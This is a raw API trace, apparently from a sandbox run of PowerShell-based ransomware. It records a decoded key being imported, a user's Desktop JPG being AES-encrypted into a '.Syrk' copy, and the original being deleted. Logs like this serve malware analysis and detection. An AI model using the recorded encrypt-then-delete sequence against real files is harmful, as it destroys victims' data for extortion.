(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0190.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0190.013] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.013] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0190.013] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0190.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0190.013] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.013] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0190.013] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0190.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0190.013] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.013] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0190.013] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.013] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0190.014] SystemFunction041 (in: Memory=0x3da60c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da60c) returned 0x0 [0190.014] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0190.014] SystemFunction040 (in: Memory=0x3da60c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da60c) returned 0x0 [0190.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0190.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0190.014] SystemFunction041 (in: Memory=0x3da60c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da60c) returned 0x0 [0190.014] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0190.014] SystemFunction040 (in: Memory=0x3da60c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da60c) returned 0x0 [0190.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0190.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0190.015] SystemFunction041 (in: Memory=0x3da60c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da60c) returned 0x0 [0190.015] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0190.015] SystemFunction040 (in: Memory=0x3da60c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da60c) returned 0x0 [0190.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0190.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0190.015] SystemFunction041 (in: Memory=0x3da60c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da60c) returned 0x0 [0190.015] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0190.015] SystemFunction040 (in: Memory=0x3da60c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da60c) returned 0x0 [0190.015] EtwEventActivityIdControl () returned 0x0 [0190.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0190.015] SystemFunction041 (in: Memory=0x3da60c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da60c) returned 0x0 [0190.015] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0190.015] SystemFunction040 (in: Memory=0x3da60c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da60c) returned 0x0 [0190.018] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4cd48) returned 1 [0190.019] CryptImportKey (in: hProv=0x5c4cd48, pbData=0x2469310*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c68d00) returned 1 [0190.019] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.020] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.020] EtwEventActivityIdControl () returned 0x0 [0190.020] EtwEventActivityIdControl () returned 0x0 [0190.020] EtwEventActivityIdControl () returned 0x0 [0190.026] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg")) returned 0x20 [0190.027] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg")) returned 0x20 [0190.027] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0190.027] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", lpFilePart=0x0) returned 0x39 [0190.027] EtwEventActivityIdControl () returned 0x0 [0190.028] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.028] EtwEventActivityIdControl () returned 0x0 [0190.028] EtwEventActivityIdControl () returned 0x0 [0190.028] EtwEventActivityIdControl () returned 0x0 [0190.029] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0190.029] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", lpFilePart=0x0) returned 0x39 [0190.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0190.029] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3ac [0190.030] GetFileType (hFile=0x3ac) returned 0x1 [0190.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0190.030] GetFileType (hFile=0x3ac) returned 0x1 [0190.030] EtwEventActivityIdControl () returned 0x0 [0190.031] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.031] EtwEventActivityIdControl () returned 0x0 [0190.031] EtwEventActivityIdControl () returned 0x0 [0190.031] EtwEventActivityIdControl () returned 0x0 [0190.032] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0190.032] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg.Syrk", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg.Syrk", lpFilePart=0x0) returned 0x3e [0190.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0190.032] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x460 [0190.047] GetFileType (hFile=0x460) returned 0x1 [0190.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0190.048] GetFileType (hFile=0x460) returned 0x1 [0190.048] EtwEventActivityIdControl () returned 0x0 [0190.048] CryptGenRandom (in: hProv=0x5c4cd48, dwLen=0x10, pbBuffer=0x247adb0 | out: pbBuffer=0x247adb0) returned 1 [0190.049] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.049] CryptDuplicateKey (in: hKey=0x5c68d00, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c68b80) returned 1 [0190.049] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.049] CryptSetKeyParam (hKey=0x5c68b80, dwParam=0x4, pbData=0x247c1f0*=0x1, dwFlags=0x0) returned 1 [0190.050] CryptSetKeyParam (hKey=0x5c68b80, dwParam=0x1, pbData=0x247c1bc, dwFlags=0x0) returned 1 [0190.050] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.050] EtwEventActivityIdControl () returned 0x0 [0190.050] EtwEventActivityIdControl () returned 0x0 [0190.050] EtwEventActivityIdControl () returned 0x0 [0190.051] EtwEventActivityIdControl () returned 0x0 [0190.052] ReadFile (in: hFile=0x3ac, lpBuffer=0x247ee58, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x247ee58*, lpNumberOfBytesRead=0x5a2ea0c*=0x71b, lpOverlapped=0x0) returned 1 [0190.053] CryptEncrypt (in: hKey=0x5c68b80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2492e64*, pdwDataLen=0x5a2ea00*=0x710, dwBufLen=0x710 | out: pbData=0x2492e64*, pdwDataLen=0x5a2ea00*=0x710) returned 1 [0190.053] ReadFile (in: hFile=0x3ac, lpBuffer=0x247ee58, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x247ee58*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0190.053] CryptEncrypt (in: hKey=0x5c68b80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24935d8*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x24935d8*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0190.053] CryptEncrypt (in: hKey=0x5c68b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24935f4*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x24935f4*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0190.053] WriteFile (in: hFile=0x460, lpBuffer=0x247aef0*, nNumberOfBytesToWrite=0x734, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x247aef0*, lpNumberOfBytesWritten=0x5a2ea38*=0x734, lpOverlapped=0x0) returned 1 [0190.055] CloseHandle (hObject=0x460) returned 1 [0190.056] CloseHandle (hObject=0x3ac) returned 1 [0190.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.057] EtwEventActivityIdControl () returned 0x0 [0190.057] EtwEventActivityIdControl () returned 0x0 [0190.057] EtwEventActivityIdControl () returned 0x0 [0190.061] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg")) returned 0x20 [0190.063] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0190.063] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", lpFilePart=0x0) returned 0x39 [0190.063] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0190.064] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0190.065] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0190.065] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0190.065] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0190.065] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0190.065] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0190.065] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0190.067] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0190.067] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0190.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0190.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0190.068] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0190.068] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0190.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0190.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0190.068] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0190.068] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0190.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0190.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0190.069] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg")) returned 0x20 [0190.069] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0190.069] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", lpFilePart=0x0) returned 0x39 [0190.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0190.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", lpFilePart=0x0) returned 0x39 [0190.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0190.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0190.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", lpFilePart=0x0) returned 0x39 [0190.072] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0190.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0190.072] CoTaskMemAlloc (cb=0x404) returned 0x5c7e518 [0190.072] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c7e518, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0190.072] CoTaskMemFree (pv=0x5c7e518) [0190.073] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg")) returned 0x20 [0190.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0190.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", lpFilePart=0x0) returned 0x39 [0190.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0190.074] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg"), fInfoLevelId=0x0, lpFileInformation=0x24a0874 | out: lpFileInformation=0x24a0874*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298dae70, ftCreationTime.dwHighDateTime=0x1d9901e, ftLastAccessTime.dwLowDateTime=0x12cf2180, ftLastAccessTime.dwHighDateTime=0x1d99200, ftLastWriteTime.dwLowDateTime=0x12cf2180, ftLastWriteTime.dwHighDateTime=0x1d99200, nFileSizeHigh=0x0, nFileSizeLow=0x71b)) returned 1 [0190.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0190.074] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg")) returned 1 [0190.075] EtwEventActivityIdControl () returned 0x0 [0190.076] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.076] EtwEventActivityIdControl () returned 0x0 [0190.076] EtwEventActivityIdControl () returned 0x0 [0190.076] EtwEventActivityIdControl () returned 0x0 [0190.083] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg.syrk")) returned 0x20 [0190.084] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg.syrk")) returned 0x20 [0190.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0190.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg.Syrk", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg.Syrk", lpFilePart=0x0) returned 0x3e [0190.084] EtwEventActivityIdControl () returned 0x0 [0190.084] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.085] EtwEventActivityIdControl () returned 0x0 [0190.085] EtwEventActivityIdControl () returned 0x0 [0190.085] EtwEventActivityIdControl () returned 0x0 [0190.088] EtwEventActivityIdControl () returned 0x0 [0190.088] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.088] EtwEventActivityIdControl () returned 0x0 [0190.088] EtwEventActivityIdControl () returned 0x0 [0190.088] 